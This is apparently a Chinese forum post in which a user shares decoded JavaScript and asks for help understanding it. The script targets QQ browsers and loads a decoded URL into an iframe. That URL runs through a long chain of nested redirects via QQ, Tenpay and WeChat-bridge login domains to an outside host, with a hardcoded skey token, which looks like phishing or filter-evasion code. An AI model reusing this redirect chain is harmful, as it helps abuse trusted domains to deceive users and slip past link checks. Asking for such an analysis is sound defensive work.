我用 python 解码了下，其中一段如下，不过本人计算机知识有限，不懂它在干嘛，只看到一堆跳转嵌套，大佬们能给分析下吗
var ua = navigator.userAgent.toString();
var urlParams = new URLSearchParams(window.location.search);
var t = urlParams.get('t');
if(t)
{
var ua = navigator.userAgent.toString();
if (ua.indexOf("QQ") !== -1) {
urls = decode(t);
document.getElementById("reportFrame").src=urls+'#?,WorldPro?9xx1?url=https://mp.weixinbridge.com/mp/wapredirect?url=http%253A%252F%252Fvk.vvzan.com#rdtype2=4&rdtype3=3002529&rdurl=http://ptlogin2.qq.com/jump?u1=http://grouproam.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://ptlogin2.fm.qq.com/jump?u1=http://ptlogin2.tenpay.com/jump?skey=@7bmBHm0XLp&u1=http://cf.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://lol.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://dnf.qq.com/comm-htdocs/milo_mobile/login.html?s_url=http://htdata2.qq.com:80/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://grouproam.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=http://ptlogin2.fm.qq.com/jump?u1=http://ptlogin2.tenpay.com/jump?skey=@7bmBHm0XLp&u1=http://htdata2.qq.com:80/cgi-bin/http'+generateRandomString(20);
